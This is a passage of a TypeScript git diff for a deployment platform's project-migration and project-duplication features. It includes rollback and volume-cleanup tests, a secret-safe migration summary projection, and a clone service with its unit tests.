the name; return nothing when there was + * simply nothing to do (logged as "nothing to update" rather than silence, so an operator can + * tell "checked and clear" from "never ran"). + */ + run: () => Promise; +} + +/** + * The effects for a project that has just started serving from `targetServerId`. + * + * Ordered, and the order is part of the contract: these run AFTER the project's routes have been + * published on the target, because several of them re-point things that only exist once the routes + * do. + */ +export function projectRelocationEffects(input: { + projectId: string; + organizationId: string; + targetServerId: string; +}): RelocationEffect[] { + return [ + { + // Free `*.opsh.io` subdomains are a mapping from a hostname to a SERVER, held by the + // cloud edge. `syncProjectManagedEdge` re-registers them, and it reads the server from + // the project's ACTIVE deployment — which is exactly why it has to run here and not + // during the deploy: at that point the target deployment was not active yet, so the + // sync inside the deploy re-pointed the subdomain at the server the project was leaving. + name: "free subdomain routing", + run: async () => { + const project = await repos.project.findById(input.projectId); + if (!project) return; + const { ok, failures } = await syncProjectManagedEdge(project, input.organizationId); + if (ok) return "re-pointed at the new server"; + // Reported, not thrown: the project is serving. The dashboard's own "Retry routing" + // repairs this, and the warning it keys off is set by the sync itself. + return `still pointing at the old server — ${failures.join("; ") || "sync failed"}`; + }, + }, + ]; +} + +/** Run each effect in order, logging one line per effect. Never throws. */ +export async function applyRelocationEffects( + effects: RelocationEffect[], + log: (message: string) => void, +): Promise { + for (const effect of effects) { + try { + const detail = await effect.run(); + log(`${effect.name}: ${detail || "nothing to update"}`); + } catch (err) { + log(`${effect.name}: not updated — ${safeErrorMessage(err)}`); + } + } +} diff --git a/apps/api/src/modules/migration/rollback-target-volumes.test.ts b/apps/api/src/modules/migration/rollback-target-volumes.test.ts new file mode 100644 index 000000000..2fe0a91ae --- /dev/null +++ b/apps/api/src/modules/migration/rollback-target-volumes.test.ts @@ -0,0 +1,212 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +/** + * A rolled-back migration must leave the TARGET as if it was never there. + * + * The loop this closes: a move streamed its volumes to the target, failed later (deploy, verify), + * and rolled back — restoring the source but leaving the volumes it had written. The conflict + * guard then refused every retry with "Target server already has data in volume(s): … Remove or + * rename them on the target", so the only way forward was `docker volume rm` on the box by hand. + * Restoring the source while leaving debris on the target is not a rollback. + * + * Pinned in source: the alternative is two live Docker daemons and a deliberately failed + * transfer, and the properties that matter here are all structural — WHEN the record is written, + * WHO removes it, and that the source is never in scope. + */ +const src = readFileSync(new URL("./migration.orchestrator.ts", import.meta.url), "utf8"); + +/** The rollback method body, bounded so a match cannot drift in from a neighbour. */ +const rollbackBody = (() => { + const from = src.indexOf(" private async rollback("); + return src.slice(from, src.indexOf("\n private async ", from + 10)); +})(); + +/** The shared undo, which both rollback and boot recovery must go through. */ +const undoBody = (() => { + const from = src.indexOf(" private async undoTargetSideEffects("); + return src.slice(from, src.indexOf("\n private async ", from + 10)); +})(); + +/** Boot recovery's per-run block. */ +const recoveryBody = (() => { + const from = src.indexOf("if (run.status !== \"queued\" && run.sourceServerId) {"); + return src.slice(from, from + 1400); +})(); + +describe("rollback removes what the run wrote on the target", () => { + it("goes through the shared undo", () => { + expect(rollbackBody).toContain("this.undoTargetSideEffects("); + }); + + it("the undo removes on the TARGET server, never the source", () => { + // The source holds production data and is explicitly never destroyed. Passing the wrong + // server id here would delete the user's live volumes during a failure recovery — the worst + // available outcome, and a one-character mistake. + expect(undoBody).toContain("servers.targetServerId,"); + expect(undoBody).toContain("this.removeTargetVolumes("); + }); + + it("takes the list from the RUN's record, not from a local variable", () => { + // A local would be empty on exactly the paths that need it — the undo is reached from the + // live rollback AND from boot recovery, where no in-memory transfer result exists at all. + expect(undoBody).toContain("run.targetVolumes ?? []"); + }); + + it("clears the record afterwards, so manual cleanup doesn't re-offer gone volumes", () => { + expect(undoBody).toContain("updateTargetVolumes(run.id, [])"); + }); + + it("restores the server binding for a MOVE, and only for a move", () => { + // A duplicate's project genuinely lives on the target; there is nothing to put back. + expect(undoBody).toContain('run.mode === "project_move"'); + expect(undoBody).toContain("serverId: servers.sourceServerId"); + }); + + it("never lets a cleanup failure mask the error that caused the rollback", () => { + expect(undoBody).toContain("catch"); + expect(undoBody).toContain("remove them there before retrying"); + }); +}); + +/** + * Boot recovery is the path where this matters most and where it was missing. + * + * It tore the target down and restarted the source, then stopped — leaving `project.serverId` + * naming the box it had just emptied, and the transferred volumes still on it. A crash is exactly + * when nobody is watching, so an un-restored binding would sit there silently routing every read, + * the Access URL and the next deploy to a server with nothing on it. + */ +describe("boot recovery undoes the same things a live rollback does", () => { + it("calls the shared undo after restoring the source", () => { + expect(recoveryBody).toContain("this.undoTargetSideEffects("); + expect(recoveryBody.indexOf("teardownTargetAndRestoreSource")).toBeLessThan( + recoveryBody.indexOf("undoTargetSideEffects"), + ); + }); + + it("leaves a PARKED run alone — the target is up and waiting on a human", () => { + // awaiting_cutover / partial must survive a restart untouched; undoing them would tear down + // a verified target the operator was about to confirm. + expect(src).toContain('if (run.status === "awaiting_cutover" || run.status === "partial") continue;'); + }); + + it("does not undo a crashed CUTOVER, which is a succeeded migration", () => { + // Mid-cutover the source is already being destroyed on purpose; restoring anything there + // would invert a successful move. + expect(src).toContain('if (run.status === "cutover") {'); + }); +}); + +describe("the record is written BEFORE the transfer, not after it", () => { + it("the direct path records its intended writes up front", () => { + // Collected-on-success meant an aborted transfer (cancel, link failure) recorded nothing, + // so volumes already on the target became orphans with nothing pointing at them. + const direct = src.slice(src.indexOf("const targetVolumes = [...volumeNames]")); + expect(direct.slice(0, 600)).toContain("updateTargetVolumes(runId, targetVolumes)"); + }); + + it("the relay path does the same", () => { + const relay = src.slice(src.indexOf("const plannedTargetVolumes = rtB")); + expect(relay.slice(0, 600)).toContain("updateTargetVolumes(runId, plannedTargetVolumes)"); + }); + + it("excludes a `keep` volume, which is the target's OWN pre-existing data", () => { + // The one case where a target volume is not ours to delete: the operator chose to keep what + // was already there, so nothing was transferred and nothing may be removed. + expect(src).toContain('.filter((ref) => resolution[ref] !== "keep")'); + }); + + it("records the CLONE name when that resolution renames the target volume", () => { + // Otherwise cleanup would chase the bare name and leave the scoped copy behind. + expect(src).toContain('resolution[ref] === "clone" ? scopedVolumeName(projectSlug, ref) : ref'); + }); + + it("no longer accumulates the list as transfers succeed", () => { + expect(src).not.toContain("targetVolumes.push("); + }); +}); + +describe("the manual cleanup action and rollback share one implementation", () => { + it("cleanupTargetData delegates to the same helper", () => { + const manual = src.slice(src.indexOf(" async cleanupTargetData(")); + expect(manual.slice(0, 900)).toContain("this.removeTargetVolumes("); + }); + + it("the helper force-removes and tolerates a stubborn volume", () => { + const helper = src.slice(src.indexOf(" private async removeTargetVolumes(")); + expect(helper.slice(0, 900)).toContain("docker volume rm -f"); + expect(helper.slice(0, 900)).toContain("|| true"); + }); +}); + +/** + * The self-healing half: OUR OWN debris on the target is not a conflict. + * + * Rollback cleaning up after itself only helps runs that recorded what they wrote. Anything + * stranded by an earlier version, or by a crash between writing and recording, is invisible to + * it — and the conflict guard then refuses forever, with `docker volume rm` on the box as the + * only way out. `openship--` is the name OUR deploy gives THIS project's volumes, so + * finding one on a server the project doesn't live on identifies debris precisely. + * + * The dangerous mistake here is a loose prefix test, which is why that is pinned hardest: this + * rule decides when it is acceptable to overwrite data on someone else's server. + */ +describe("an unused volume carrying this project's own namespace is reused, not refused", () => { + it("builds the prefix from scopedVolumeName rather than re-spelling it", () => { + // One place forms `openship--…`; a hand-written "openship-" + slug here would drift + // from it silently. + expect(src).toContain('scopedVolumeName(ourSlug, "")'); + }); + + it("requires the FULL project-slug prefix, not a bare openship- match", () => { + // A loose test would match `openship-clincai-staging-pgdata` while moving `clincai` — a + // different project's data, on a server we do not own, overwritten without asking. + expect(src).toContain("name.startsWith(ourVolumePrefix!)"); + expect(src).toContain("name.length > ourVolumePrefix!.length"); + expect(src).not.toContain('name.startsWith("openship-")'); + }); + + it("claims nothing when the project could not be read", () => { + // Empty slug ⇒ prefix null ⇒ never matches. A project we can't identify is not one whose + // volumes we may claim. + expect(src).toContain('const ourVolumePrefix = ourSlug ? scopedVolumeName(ourSlug, "") : null'); + }); + + it("keys off the SOURCE project's slug, which a duplicate's run project is not", () => { + // The gap this closes: for a copy, `projectId` is the new project (`clincai-copy`) while the + // volumes crossing are the source's (`openship-clincai-*`). Keyed off the run's project, the + // rule silently stopped applying to the flow that needs it most — a failed duplicate stayed + // stuck in the loop the rule exists to break. + expect(src).toContain("const ourSlug = sourceProjectSlug || projectSlug"); + expect(src).toContain("const relayOurSlug = sourceProjectSlug || projectSlug"); + // And the run supplies it from the project the move is FROM. + expect(src).toContain("input.projectMove.projectId).catch(() => null))?.slug"); + }); + + it("still refuses when a container is running on that volume", () => { + // The actual safety line: a name we recognise is ours to overwrite; a volume something is + // running on is not, whoever named it. + const rule = src.slice(src.indexOf("if (isOurNamespacedVolume(name)) {")); + expect(rule.slice(0, 900)).toContain("docker ps --filter volume="); + expect(rule.slice(0, 900)).toContain("if (running.length === 0)"); + expect(rule.slice(0, 900)).toContain("in use by"); + }); + + it("overwrites by resolution rather than by deleting the volume first", () => { + // `override` runs the transfer with clearTarget, so the reuse goes through the same path a + // user-chosen override does — no second way to wipe a volume. + const rule = src.slice(src.indexOf("if (isOurNamespacedVolume(name)) {")); + expect(rule.slice(0, 900)).toContain('resolution[name] = "override"'); + }); + + it("says in the log that it reused an earlier attempt's volume", () => { + expect(src).toContain("left on the target by an earlier attempt at this move"); + }); + + it("applies on the relay path too, so transfer mode can't decide whether you get stuck", () => { + const relay = src.slice(src.indexOf("const relayOurPrefix")); + expect(relay.slice(0, 900)).toContain("name.startsWith(relayOurPrefix)"); + expect(relay.slice(0, 900)).toContain("name.length > relayOurPrefix.length"); + }); +}); diff --git a/apps/api/src/modules/projects/active-migration.test.ts b/apps/api/src/modules/projects/active-migration.test.ts new file mode 100644 index 000000000..2632a0049 --- /dev/null +++ b/apps/api/src/modules/projects/active-migration.test.ts @@ -0,0 +1,71 @@ +import { describe, expect, it } from "vitest"; +import type { DockerMigrationRun } from "@repo/db"; +import { readActiveMigration } from "./active-migration"; + +/** + * The run→project-payload projection. Small on purpose, and tested because the thing it gets + * right is a NEGATIVE: what it leaves behind. + */ +const run = { + id: "dmr_1", + status: "moving_data", + mode: "project_move", + organizationId: "org1", + projectId: "p1", + projectName: "clincai", + sourceServerId: "srvA", + targetServerId: "srvB", + // The two fields that must never reach a project reader. + confirmationToken: "deadbeefcafe", + inputSnapshot: { + projectMove: { projectId: "p1", intent: "move" }, + env: { DATABASE_URL: "postgres://user:pw@host/db" }, + }, + scannedContainerIds: { web: "abc123" }, + logs: "…", +} as unknown as DockerMigrationRun; + +describe("readActiveMigration", () => { + it("answers null for no run — the common case", () => { + expect(readActiveMigration(null)).toBeNull(); + expect(readActiveMigration(undefined)).toBeNull(); + }); + + it("carries exactly id, status and mode", () => { + expect(readActiveMigration(run)).toEqual({ + id: "dmr_1", + status: "moving_data", + mode: "project_move", + }); + }); + + it("NEVER carries the confirmation token", () => { + // The token authorises the destructive cutover — stopping and destroying the source + // server's containers. The project payload is `project:read`; every migration route is + // `server:write`. Spreading the run row here (the obvious, wrong implementation) would + // hand a project-only reader the one secret that finishes a cross-server teardown. + const out = JSON.stringify(readActiveMigration(run)); + expect(out).not.toContain("deadbeefcafe"); + expect(out).not.toContain("confirmationToken"); + }); + + it("NEVER carries the start snapshot, which holds the deploy env", () => { + const out = JSON.stringify(readActiveMigration(run)); + expect(out).not.toContain("inputSnapshot"); + expect(out).not.toContain("postgres://"); + }); + + it("is an allowlist, so a field added to the run row later cannot leak by default", () => { + const withNewSecret = { ...run, someFutureToken: "s3cr3t" } as unknown as DockerMigrationRun; + expect(Object.keys(readActiveMigration(withNewSecret) ?? {}).sort()).toEqual([ + "id", + "mode", + "status", + ]); + }); + + it("passes a duplicate's mode through, so a client can tell the two apart", () => { + const copy = { ...run, mode: "project_copy" } as unknown as DockerMigrationRun; + expect(readActiveMigration(copy)?.mode).toBe("project_copy"); + }); +}); diff --git a/apps/api/src/modules/projects/active-migration.ts b/apps/api/src/modules/projects/active-migration.ts new file mode 100644 index 000000000..7efc6e6a4 --- /dev/null +++ b/apps/api/src/modules/projects/active-migration.ts @@ -0,0 +1,34 @@ +import type { DockerMigrationRun } from "@repo/db"; + +/** + * The live migration a project payload is allowed to carry. + * + * Three fields, and the choice of THREE is the point of this module. The run row also holds + * `confirmationToken` — the secret that authorises the destructive cutover — and + * `inputSnapshot`, a verbatim copy of the start request (env overrides included). A project + * payload is read with `project:read`, while every migration route is `server:write`; spreading + * the row into the project would hand a project-only reader the token that finishes a + * cross-server teardown. So the projection is an allowlist, not an omission list: a field + * added to the run row later cannot leak through here by default. + * + * `id` is what lets a client re-open the run's own (`server:read`-gated) endpoints — a + * pointer, not an authorisation. `status` and `mode` are what a status pill renders. + */ +export type ActiveMigrationSummary = { + id: string; + status: string; + /** `project_move` | `project_copy` — a move is relocating THIS project, a copy is + * building a second one. Different sentences for the operator, same pill. */ + mode: string; +}; + +/** + * Project a live run down to what a project payload may say about it — or null when there + * is none, which is the overwhelmingly common answer. + */ +export function readActiveMigration( + run: DockerMigrationRun | null | undefined, +): ActiveMigrationSummary | null { + if (!run) return null; + return { id: run.id, status: run.status, mode: run.mode }; +} diff --git a/apps/api/src/modules/projects/project-clone.service.ts b/apps/api/src/modules/projects/project-clone.service.ts new file mode 100644 index 000000000..73b6e8363 --- /dev/null +++ b/apps/api/src/modules/projects/project-clone.service.ts @@ -0,0 +1,241 @@ +/** + * Duplicate a project this instance owns — the record half of "copy this stack onto another + * server". + * + * WHY THIS EXISTS AT ALL. A duplicate used to go through `adoptServerStack`, the same call that + * takes a stranger's containers and reverse-engineers a project from them. Pointed at our own + * project that is a strange thing to do: we hold the authoritative rows, and Docker inspection + * cannot see most of them. Everything below survives a clone and did NOT survive an adopt — + * framework and build settings, declared volumes vs. resolved mounts, per-service kind + * (compose vs monorepo), route strategy, resource limits, rollback window, the compose + * import/drift baselines, `alwaysRebuildGlobs`. An adopted duplicate booted and *looked* right, + * then behaved differently on its next deploy, because it had been rebuilt from its own + * containers rather than copied. + * + * SPREAD-MINUS-EXCLUSIONS, NOT AN ALLOWLIST. Every row is copied whole and then a named set of + * fields is overridden or dropped. This is the opposite of the projection rule used for + * outbound payloads (`readActiveMigration`), and deliberately so: there, a field added later + * must not leak, so the safe default is to omit; here, a field added later must be COPIED, or + * the clone silently degrades in a way nobody notices until a deploy behaves oddly. A test + * pins that direction by adding an unknown column and asserting it lands. + * + * THE ONE HYBRID, AND WHY. `volumes` and `namespaceVolumes` come from the DISCOVERED runtime, + * not from the source rows. The transfer streams each volume A→B *under the same name* — that + * "no remap" property is what makes resume work — so the copy's deploy has to mount the name + * the bytes actually landed under. A source row declares `pgdata:/var/lib/postgresql/data`, + * while the running container mounts `openship--pgdata`; the clone has a NEW slug, + * so re-namespacing would point it at `openship--pgdata`, which the transfer never + * wrote. That copy would start with an empty database and report success. So: resolved names, + * namespacing off — exactly what the adopt path did for cross-server, for exactly this reason. + */ + +import { slugify, NotFoundError } from "@repo/core"; +import { repos, type Project } from "@repo/db"; + +import type { AdoptResult } from "../migration/migrate.service"; +import type { DiscoveredService } from "../migration/docker-reconcile"; +import { assertProjectQuota, uniqueProjectSlug } from "./project-crud.service"; + +/** + * Project columns the clone must NOT copy verbatim, each with the reason it is here. Anything + * absent from this list is copied — see the module header. + */ +const PROJECT_FIELDS_NOT_CLONED = [ + // Identity, owned by the insert. + "id", + "createdAt", + "updatedAt", + // Its own name/slug (computed) and its own group. The group is not a preference: the DB's + // `uq_project_app_environment_slug_active` is unique on (groupId, environmentSlug), and both + // projects are `production` — sharing the source's group is a constraint violation, which is + // the good outcome. Two projects in one group would also mean "two environments of one app", + // which is not what a duplicate on another host is. + "groupId", + "name", + "slug", + // Where it runs. The whole point of the copy. + "serverId", + // Deployment state belongs to deploys that happened, and none have. + "activeDeploymentId", + // Lifecycle flags: a copy of a paused or half-deleted project starts clean and running. + "deletedAt", + "deletionInProgress", + "disabledAt", + // Detected from the live site; the copy has no site yet, so copying these would show the + // original's icon next to a project that has never served a request. + "favicon", + "faviconCheckedAt", + // Routing that names specific hostnames. The copy starts with no domains (the confirm dialog + // promises exactly this) — the originals stay with the project still serving them. + "compositeRoutes", + // A server-hosted copy is not a cloud project, whatever the source was. + "cloudWorkspaceId", +] as const; + +/** + * Service columns the clone must not copy verbatim. + * + * The routing block is dropped rather than reset field-by-field so that "the copy has no + * domains" is one decision in one place. `containerId`/`deploymentId` are not here because they + * live on `service_deployment`, not on `service`. + */ +const SERVICE_FIELDS_NOT_CLONED = [ + "id", + "projectId", + "createdAt", + "updatedAt", + // Public routing — see above. + "exposed", + "exposedPort", + "domain", + "customDomain", + "domainType", + "publicEndpoints", + // The hybrid: taken from the running container instead. See the module header. + "volumes", + "namespaceVolumes", +] as const; + +function omit(row: Record, keys: readonly string[]): Record { + const out: Record = { ...row }; + for (const key of keys) delete out[key]; + return out; +} + +/** `openship-x-pgdata:/var/lib/…` from a discovered mount, or null for an anonymous one. */ +function mountToComposeString(v: { source?: string; target: string; rw?: boolean }): string | null { + if (!v.source) return null; + return `${v.source}:${v.target}${v.rw === false ? ":ro" : ""}`; +} + +export interface CloneProjectResult extends AdoptResult { + /** The new project row, so the caller can log/deploy without re-reading it. */ + project: Project; +} + +/** + * Copy `sourceProjectId` into a new project bound to `targetServerId`. + * + * Only the services present in `chosen` are cloned. That is what makes a SERVICE-scoped + * duplicate ("copy just the database onto the new box") work without a second code path: the + * caller narrows `chosen`, and a row whose container is not in it is not part of this copy — + * its data is not being streamed either, so a row for it would describe a service that cannot + * start. + */ +export async function cloneProjectToServer(input: { + sourceProjectId: string; + organizationId: string; + targetServerId: string; + /** The live services being copied, as the migration pipeline resolved them. */ + chosen: DiscoveredService[]; + /** Operator-chosen name. Defaults to ` copy`, uniquified. */ + name?: string | null; +}): Promise { + const source = await repos.project.findByIdInOrganization( + input.sourceProjectId, + input.organizationId, + ); + if (!source) throw new NotFoundError("Project", input.sourceProjectId); + + // Before anything is written: a duplicate is a new project and counts against the cap like + // any other. Checked here rather than inside the transaction so the operator gets the plan + // guard's own message instead of a rolled-back write. + await assertProjectQuota(input.organizationId); + + const desiredName = input.name?.trim() || `${source.name} copy`; + const slug = await uniqueProjectSlug(input.organizationId, slugify(desiredName)); + + const sourceServices = await repos.service.listByProject(source.id); + // Discovered services are keyed by name here (not container id) because they have already + // been narrowed to THIS project's containers upstream — inside one project a service name is + // unique, which is exactly the condition that makes a name match safe. + const discoveredByName = new Map(input.chosen.map((s) => [s.name, s])); + const cloning = sourceServices.filter((row) => discoveredByName.has(row.name)); + + if (cloning.length === 0) { + // Nothing to build the copy out of. Reached only if the row/container sets disagree, which + // the workload resolver should have refused first — so say what is wrong rather than + // creating an empty project. + throw new NotFoundError( + "Services to duplicate", + `${source.id} (no service rows matched the running containers)`, + ); + } + + const cloningIds = new Set(cloning.map((row) => row.id)); + const sourceEnv = await repos.project.listEnvVars(source.id); + + const { project: created } = await repos.project.createProjectWithRecords({ + group: { + organizationId: source.organizationId, + name: desiredName, + slug, + // Git identity follows the project: a duplicate of a repo-backed project is still backed + // by that repo, and its later redeploys should build from it. + gitProvider: source.gitProvider ?? undefined, + gitOwner: source.gitOwner ?? undefined, + gitRepo: source.gitRepo ?? undefined, + gitUrl: source.gitUrl ?? undefined, + }, + project: { + ...omit(source, PROJECT_FIELDS_NOT_CLONED), + organizationId: source.organizationId, + name: desiredName, + slug, + serverId: input.targetServerId, + activeDeploymentId: null, + } as Parameters[0]["project"], + services: cloning.map((row) => ({ + sourceId: row.id, + row: { + ...omit(row, SERVICE_FIELDS_NOT_CLONED), + name: row.name, + // The hybrid — resolved mount names, namespacing off. See the module header. + volumes: (discoveredByName.get(row.name)?.volumes ?? []) + .map(mountToComposeString) + .filter((v): v is string => v !== null), + namespaceVolumes: false, + } as Parameters[0]["services"][number]["row"], + })), + // Verbatim, ciphertext included. The instance's encryption key is unchanged, so a secret + // stays readable — and it MUST stay identical: the copy is handed a byte copy of the + // source's volume, so a re-generated database password would lock it out of its own data. + // Vars scoped to a service we are not cloning are dropped here (the repo refuses to + // silently promote them to project-level). + envVars: sourceEnv + .filter((v) => !v.serviceId || cloningIds.has(v.serviceId)) + .map((v) => ({ + sourceServiceId: v.serviceId ?? null, + key: v.key, + value: v.value, + environment: v.environment, + isSecret: v.isSecret ?? false, + })), + }); + + return { + project: created, + projectId: created.id, + slug: created.slug, + // TRUE — and load-bearing. The orchestrator's rollback tears down the project it created, + // which for a duplicate is exactly right: a failed copy should leave nothing behind. (For a + // MOVE the same field must be false, or rollback would delete the operator's real project.) + created: true, + adopted: cloning.map((row) => row.name), + // Identity: the rows carry the source's own names, so nothing is renamed. + renames: {}, + // Reuse the image running right now for every copied service. Our tags exist on the source + // host and in no registry, so without this the target's first deploy would try to pull one. + handover: Object.fromEntries( + cloning + .map((row) => [row.name, discoveredByName.get(row.name)?.image]) + .filter((pair): pair is [string, string] => Boolean(pair[1])), + ), + }; +} + +/** The exclusion lists ARE the contract, so the tests assert against these and not a copy. */ +export const CLONE_EXCLUSIONS = { + project: PROJECT_FIELDS_NOT_CLONED, + service: SERVICE_FIELDS_NOT_CLONED, +} as const; diff --git a/apps/api/src/modules/projects/project-clone.test.ts b/apps/api/src/modules/projects/project-clone.test.ts new file mode 100644 index 000000000..93fe991e5 --- /dev/null +++ b/apps/api/src/modules/projects/project-clone.test.ts @@ -0,0 +1,345 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +/** + * Duplicating a project copies its RECORDS. These tests exist for three things that are invisible + * to a typecheck and destructive-ish when wrong: + * + * 1. the copy direction is spread-minus-exclusions, so a column added later is copied by + * DEFAULT (the anti-drift test). The old adopt-based duplicate silently lost fields; + * an allowlist here would reintroduce exactly that, one migration at a time. + * 2. `volumes` / `namespaceVolumes` come from the RUNTIME, not the rows. The transfer streams + * each volume under the same name it had on the source, so a copy that re-namespaced them + * to its own slug would mount volumes nothing ever wrote — an empty database, reported as + * a successful duplicate. + * 3. `created: true`, because the orchestrator's rollback deletes the project the run created. + */ + +const h = { + project: { + id: "p_src", + organizationId: "org1", + groupId: "app_src", + name: "clincai", + slug: "clincai", + serverId: "srv_a", + environmentSlug: "production", + activeDeploymentId: "dep_live", + framework: "nextjs", + routeStrategy: "loopback", + rollbackWindow: 5, + disabledAt: new Date(), + deletedAt: null, + deletionInProgress: false, + favicon: "https://clincai.example/favicon.ico", + faviconCheckedAt: new Date(), + compositeRoutes: [{ host: "clincai.example" }], + cloudWorkspaceId: null, + gitProvider: "github", + gitOwner: "acme", + gitRepo: "clincai", + gitUrl: "https://github.com/acme/clincai.git", + createdAt: new Date("2020-01-01"), + updatedAt: new Date("2020-01-01"), + } as Record, + services: [ + { + id: "svc_web", + projectId: "p_src", + name: "web", + kind: "compose", + image: "openship/web:abc", + // The LOGICAL declaration. The running container mounts a namespaced name (below). + volumes: ["assets:/app/public"], + namespaceVolumes: true, + exposed: true, + exposedPort: "3000", + domain: "clincai", + customDomain: "clincai.example", + domainType: "custom", + publicEndpoints: [{ port: 3000, domainType: "custom", customDomain: "clincai.example" }], + buildCommand: "next build", + sortOrder: 1, + createdAt: new Date("2020-01-01"), + updatedAt: new Date("2020-01-01"), + }, + { + id: "svc_db", + projectId: "p_src", + name: "db", + kind: "compose", + image: "postgres:16", + volumes: ["pgdata:/var/lib/postgresql/data"], + namespaceVolumes: true, + exposed: false, + sortOrder: 2, + createdAt: new Date("2020-01-01"), + updatedAt: new Date("2020-01-01"), + }, + ] as Array>, + env: [ + { id: "e1", projectId: "p_src", serviceId: null, key: "SHARED", value: "v", environment: "production", isSecret: false }, + { id: "e2", projectId: "p_src", serviceId: "svc_db", key: "POSTGRES_PASSWORD", value: "enc:hunter2", environment: "production", isSecret: true }, + // Scoped to a service that is NOT part of a narrowed copy. + { id: "e3", projectId: "p_src", serviceId: "svc_web", key: "WEB_ONLY", value: "w", environment: "production", isSecret: false }, + ] as Array>, + slugsTaken: new Set(), + created: null as null | Record, +}; + +// `vi.hoisted` because `vi.mock` below is lifted to the top of the file — a plain `const` spy +// referenced inside the factory is not initialised yet when the factory runs. +const { createProjectWithRecords } = vi.hoisted(() => ({ + createProjectWithRecords: vi.fn(), +})); + +// Partial mock: the clone reuses `assertProjectQuota`/`uniqueProjectSlug` from the project CRUD +// service, whose import graph reaches auth → `schema`. Replacing the whole module would strip +// exports this file never touches but that graph needs, so only `repos` is swapped. +vi.mock("@repo/db", async (importOriginal) => ({ + ...(await importOriginal>()), + repos: { + project: { + findByIdInOrganization: async (id: string, org: string) => + id === h.project.id && org === h.project.organizationId ? { ...h.project } : null, + findBySlugInOrg: async (_org: string, slug: string) => (h.slugsTaken.has(slug) ? { id: "x" } : null), + listEnvVars: async () => h.env.map((v) => ({ ...v })), + createProjectWithRecords, + }, + service: { listByProject: async () => h.services.map((s) => ({ ...s })) }, + projectGroup: { listByOrganization: async () => ({ total: 0 }) }, + }, +})); + +import { cloneProjectToServer, CLONE_EXCLUSIONS } from "./project-clone.service"; +import type { DiscoveredService } from "../migration/docker-reconcile"; + +/** A running container as discovery reports it — note the RESOLVED, namespaced volume source. */ +const discovered = (name: string, volumeSource: string, target: string): DiscoveredService => + ({ + name, + source: "container", + containerId: `c_${name}`, + running: true, + image: `img/${name}:live`, + ports: [], + env: {}, + volumes: [{ source: volumeSource, target, rw: true }], + networks: [], + dependsOn: [], + }) as unknown as DiscoveredService; + +const CHOSEN = [ + discovered("web", "openship-clincai-assets", "/app/public"), + discovered("db", "openship-clincai-pgdata", "/var/lib/postgresql/data"), +]; + +const clone = (over: Partial[0]> = {}) => + cloneProjectToServer({ + sourceProjectId: "p_src", + organizationId: "org1", + targetServerId: "srv_b", + chosen: CHOSEN, + ...over, + }); + +const clonedProject = () => h.created!.project as Record; +const clonedServices = () => + (h.created!.services as Array<{ sourceId: string; row: Record }>); +const clonedEnv = () => h.created!.envVars as Array>; + +beforeEach(() => { + h.created = null; + h.slugsTaken = new Set(); + createProjectWithRecords.mockReset(); + // Stands in for the transactional repo write: records what it was asked to create and mints + // the ids the real one would. + createProjectWithRecords.mockImplementation(async (input: Record) => { + h.created = input; + return { + project: { id: "p_new", groupId: "app_new", ...(input.project as Record) }, + serviceIdBySourceId: Object.fromEntries( + (input.services as Array<{ sourceId: string }>).map((s, i) => [s.sourceId, `svc_new_${i}`]), + ), + }; + }); +}); + +describe("the copy direction is COPY-by-default", () => { + it("carries a field nobody told it about", async () => { + // THE anti-drift test. Add a column to the project table and it lands on the clone with no + // code change here; switch this module to an allowlist and this fails. A duplicate that + // quietly drops the newest setting is the exact failure the adopt-based version had. + h.project.someFutureSetting = "keep-me"; + await clone(); + expect(clonedProject().someFutureSetting).toBe("keep-me"); + delete h.project.someFutureSetting; + }); + + it("carries the settings Docker inspection could never have recovered", async () => { + await clone(); + const p = clonedProject(); + expect(p.framework).toBe("nextjs"); + expect(p.routeStrategy).toBe("loopback"); + expect(p.rollbackWindow).toBe(5); + // Same for the service rows: a build command exists in no container. + expect(clonedServices()[0]!.row.buildCommand).toBe("next build"); + expect(clonedServices()[0]!.row.kind).toBe("compose"); + }); + + it("carries a service field nobody told it about either", async () => { + h.services[0]!.someFutureServiceField = "svc-keep"; + await clone(); + expect(clonedServices()[0]!.row.someFutureServiceField).toBe("svc-keep"); + delete h.services[0]!.someFutureServiceField; + }); +}); + +describe("what it deliberately does NOT copy", () => { + it("points at the target server and starts with no deployment", async () => { + await clone(); + expect(clonedProject().serverId).toBe("srv_b"); + expect(clonedProject().activeDeploymentId).toBeNull(); + }); + + it("omits every excluded project field, so the insert cannot inherit one", async () => { + await clone(); + const p = clonedProject(); + // `id`/`groupId` are the insert's, and name/slug/serverId/activeDeploymentId are set + // explicitly above — the rest must simply be absent. + for (const field of ["deletedAt", "deletionInProgress", "disabledAt", "favicon", "faviconCheckedAt", "compositeRoutes", "cloudWorkspaceId", "id", "groupId", "createdAt", "updatedAt"]) { + expect(p, field).not.toHaveProperty(field); + } + }); + + it("starts with NO domains — the originals stay with the project serving them", async () => { + await clone(); + const web = clonedServices()[0]!.row; + for (const field of ["exposed", "exposedPort", "domain", "customDomain", "domainType", "publicEndpoints"]) { + expect(web, field).not.toHaveProperty(field); + } + }); + + it("never reuses the source's group, which the DB would refuse anyway", async () => { + // `uq_project_app_environment_slug_active` is unique on (groupId, environmentSlug) and both + // projects are `production`, so sharing a group is a constraint violation. Its own group + // also means "a separate app", which is what a duplicate on another host is. + await clone(); + expect(clonedProject()).not.toHaveProperty("groupId"); + expect((h.created!.group as Record).slug).toBe("clincai-copy"); + }); +}); + +describe("volumes come from the RUNTIME, not the rows", () => { + it("mounts the resolved names the transfer actually wrote", async () => { + await clone(); + const rows = clonedServices(); + // NOT "pgdata:/var/lib/postgresql/data" (the row's logical declaration) — the bytes landed + // on the target under the source's resolved volume name. + expect(rows[1]!.row.volumes).toEqual([ + "openship-clincai-pgdata:/var/lib/postgresql/data", + ]); + expect(rows[0]!.row.volumes).toEqual(["openship-clincai-assets:/app/public"]); + }); + + it("turns namespacing OFF, so the new slug cannot rewrite those names", async () => { + // With namespacing on, the copy's deploy would mount openship--pgdata — a volume + // the transfer never created. The copy would start empty and report success. + await clone(); + for (const svc of clonedServices()) expect(svc.row.namespaceVolumes).toBe(false); + }); + + it("drops an anonymous mount rather than inventing a name for it", async () => { + const anon = { ...discovered("db", "", "/tmp/cache") }; + await clone({ chosen: [CHOSEN[0]!, anon as DiscoveredService] }); + expect(clonedServices()[1]!.row.volumes).toEqual([]); + }); +}); + +describe("env vars", () => { + it("copies them verbatim, ciphertext included", async () => { + // The copy is handed a byte copy of the source's volume, so a re-generated password would + // lock it out of its own database. Identical value is the 